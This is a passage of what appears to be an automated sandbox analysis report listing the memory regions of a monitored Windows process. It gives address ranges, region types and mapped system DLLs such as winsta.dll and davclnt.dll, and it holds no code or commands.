end_va = 0x1ee0fff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 567 start_va = 0x1fd0000 end_va = 0x200ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 568 start_va = 0x1de0000 end_va = 0x1ee0fff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 569 start_va = 0x1de0000 end_va = 0x1ee0fff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 583 start_va = 0x260000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 584 start_va = 0x2a0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 585 start_va = 0x2e0000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 586 start_va = 0x320000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 587 start_va = 0x560000 end_va = 0x59ffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 588 start_va = 0x1de0000 end_va = 0x1edffff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 589 start_va = 0x1ee0000 end_va = 0x1f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 590 start_va = 0x22e0000 end_va = 0x23dffff entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 591 start_va = 0x23e0000 end_va = 0x24dffff entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 592 start_va = 0x24e0000 end_va = 0x25dffff entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 593 start_va = 0x25e0000 end_va = 0x26dffff entry_point = 0x0 region_type = private name = "private_0x00000000025e0000" filename = "" Region: id = 594 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 595 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 596 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 597 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 598 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 599 start_va = 0x330000 end_va = 0x337fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 600 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 601 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 602 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 603 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 604 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 605 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 606 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 607 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 608 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 609 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 610 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 611 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 612 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 613 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 614 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 615 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 616 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 617 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 618 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 619 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 620 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 621 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 622 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 623 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 624 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 625 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 626 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 627 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 628 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 629 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 630 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 631 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 632 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 633 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 634 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 635 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 636 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 637 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 638 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 639 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 640 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 641 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 642 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 643 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 644 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 645 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 646 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 647 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 648 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 649 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 650 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 651 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 652 start_va = 0x320000 end_va = 0x327fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 653 start_va = 0x2a0000 end_va = 0x2a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 654 start_va = 0x2b0000 end_va = 0x2b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 655 start_va = 0x26e0000 end_va = 0x2ad2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026e0000" filename = "" Region: id = 656 start_va = 0x75480000 end_va = 0x75487fff entry_point = 0x75480000 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\SysWOW64\\drprov.dll" (normalized: "c:\\windows\\syswow64\\drprov.dll") Region: id = 660 start_va = 0x752f0000 end_va = 0x75318fff entry_point = 0x752f0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 688 start_va = 0x1f20000 end_va = 0x1f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 689 start_va = 0x1f60000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 690 start_va = 0x22e0000 end_va = 0x23dffff entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 691 start_va = 0x2ae0000 end_va = 0x2bdffff entry_point = 0x0 region_type = private name = "private_0x0000000002ae0000" filename = "" Region: id = 692 start_va = 0x2be0000 end_va = 0x2c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002be0000" filename = "" Region: id = 693 start_va = 0x2c20000 end_va = 0x2d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c20000" filename = "" Region: id = 694 start_va = 0x2d20000 end_va = 0x2d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d20000" filename = "" Region: id = 695 start_va = 0x2d60000 end_va = 0x2e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d60000" filename = "" Region: id = 696 start_va = 0x2e60000 end_va = 0x2e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 697 start_va = 0x2ea0000 end_va = 0x2f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ea0000" filename = "" Region: id = 698 start_va = 0x2fa0000 end_va = 0x2fdffff entry_point = 0x0 region_type = private name = "private_0x0000000002fa0000" filename = "" Region: id = 699 start_va = 0x2fe0000 end_va = 0x30dffff entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 700 start_va = 0x30e0000 end_va = 0x311ffff entry_point = 0x0 region_type = private name = "private_0x00000000030e0000" filename = "" Region: id = 701 start_va = 0x3120000 end_va = 0x321ffff entry_point = 0x0 region_type = private name = "private_0x0000000003120000" filename = "" Region: id = 702 start_va = 0x3220000 end_va = 0x325ffff entry_point = 0x0 region_type = private name = "private_0x0000000003220000" filename = "" Region: id = 703 start_va = 0x3260000 end_va = 0x335ffff entry_point = 0x0 region_type = private name = "private_0x0000000003260000" filename = "" Region: id = 704 start_va = 0x7ef8f000 end_va = 0x7ef91fff entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 705 start_va = 0x7ef92000 end_va = 0x7ef94fff entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 706 start_va = 0x7ef95000 end_va = 0x7ef97fff entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 707 start_va = 0x7ef98000 end_va = 0x7ef9afff entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 708 start_va = 0x7ef9b000 end_va = 0x7ef9dfff entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 709 start_va = 0x7ef9e000 end_va = 0x7efa0fff entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 710 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 711 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 712 start_va = 0x3360000 end_va = 0x339ffff entry_point = 0x0 region_type = private name = "private_0x0000000003360000" filename = "" Region: id = 713 start_va = 0x33a0000 end_va = 0x349ffff entry_point = 0x0 region_type = private name = "private_0x00000000033a0000" filename = "" Region: id = 714 start_va = 0x7ef8c000 end_va = 0x7ef8efff entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 715 start_va = 0x34a0000 end_va = 0x34dffff entry_point = 0x0 region_type = private name = "private_0x00000000034a0000" filename = "" Region: id = 716 start_va = 0x34e0000 end_va = 0x35dffff entry_point = 0x0 region_type = private name = "private_0x00000000034e0000" filename = "" Region: id = 717 start_va = 0x752d0000 end_va = 0x752e3fff entry_point = 0x752d0000 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\SysWOW64\\ntlanman.dll" (normalized: "c:\\windows\\syswow64\\ntlanman.dll") Region: id = 718 start_va = 0x7ef89000 end_va = 0x7ef8bfff entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 734 start_va = 0x35e0000 end_va = 0x36e0fff entry_point = 0x0 region_type = private name = "private_0x00000000035e0000" filename = "" Region: id = 735 start_va = 0x36f0000 end_va = 0x37f0fff entry_point = 0x0 region_type = private name = "private_0x00000000036f0000" filename = "" Region: id = 736 start_va = 0x3800000 end_va = 0x3900fff entry_point = 0x0 region_type = private name = "private_0x0000000003800000" filename = "" Region: id = 737 start_va = 0x3910000 end_va = 0x3a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003910000" filename = "" Region: id = 738 start_va = 0x3a10000 end_va = 0x3b10fff entry_point = 0x0 region_type = private name = "private_0x0000000003a10000" filename = "" Region: id = 739 start_va = 0x3b20000 end_va = 0x3c20fff entry_point = 0x0 region_type = private name = "private_0x0000000003b20000" filename = "" Region: id = 740 start_va = 0x3c30000 end_va = 0x3d30fff entry_point = 0x0 region_type = private name = "private_0x0000000003c30000" filename = "" Region: id = 741 start_va = 0x3d40000 end_va = 0x3e40fff entry_point = 0x0 region_type = private name = "private_0x0000000003d40000" filename = "" Region: id = 742 start_va = 0x3e50000 end_va = 0x3f50fff entry_point = 0x0 region_type = private name = "private_0x0000000003e50000" filename = "" Region: id = 743 start_va = 0x3f60000 end_va = 0x415ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f60000" filename = "" Region: id = 744 start_va = 0x752b0000 end_va = 0x752c6fff entry_point = 0x752b0000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\SysWOW64\\davclnt.dll" (normalized: "c:\\windows\\syswow64\\davclnt.dll") Region: id = 769 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 770 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 771 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 772 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 773 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 774 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 775 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 776 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 777 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 778 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 779 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 780 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 781 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 782 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 783 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 784 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 785 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 786 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 787 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 788 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 789 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 790 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 791 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 792 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 793 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 794 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 795 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 796 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 797 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 798 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 799 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 800 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 801 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 802 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 803 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 804 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 805 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 806 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 807 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 808 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 809 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 810 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 811 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 812 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 813 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 814 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 815 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 816 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 817 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 818 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 819 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 820 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 821 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 822 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 823 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 824 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 825 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 826 start_va = 0x752a0000 end_va = 0x752a7fff entry_point = 0x752a0000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 827 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 828 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 829 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 830 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 831 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 832 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 833 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 834 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 835 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 836 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 837 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 838 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 839 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 840 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 841 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 842 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 843 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 844 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 845 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 846 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 847 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 848 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 849 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 850 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 851 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 852 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 853 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 